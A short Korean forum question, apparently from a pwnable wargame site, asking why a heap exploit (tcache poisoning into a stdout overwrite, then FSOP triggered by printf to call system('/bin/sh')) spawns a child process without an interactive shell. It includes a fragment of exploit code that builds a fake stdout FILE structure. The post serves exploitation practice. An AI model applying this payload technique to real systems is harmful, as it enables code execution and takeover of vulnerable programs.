완료됨
자식 프로세스 떴다고 뜨는데 interactive()가 안되서 쉘 획득이 안됩니다...
tcache poisoning을 통해 stdout overwrite -> FSOP(trigger by printf)를 통해 system("/bin/sh")을 실행시키고자 하였습니다. 사진과 같이 vfork.. 문구가 뜨면서 쉘이 실행되는 것 같은데 왼쪽에 쉘 표시(interactive()동작 안함)가 뜨지 않습니다. 이런 경우는 처음이라 혹시 어디서 잘못된 건지 쉘 획득한게 맞는지 질문 드립니다. 코드 일부와 조작된 stdout 구조체 첨부하겠습니다.
FSOP = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock=stdout_lock,
_wide_data=fake_fsop_struct - 0x10,
_markers=system,
_unused2=p32(0x0) + p64(0x0) + p64(fake_fsop_struct - 0x8),
vtable=lb + libc.symbols["_IO_wfile_jumps"] - 0x20,
_mode=0xFFFFFFFF
)
#pwnable
작성자 정보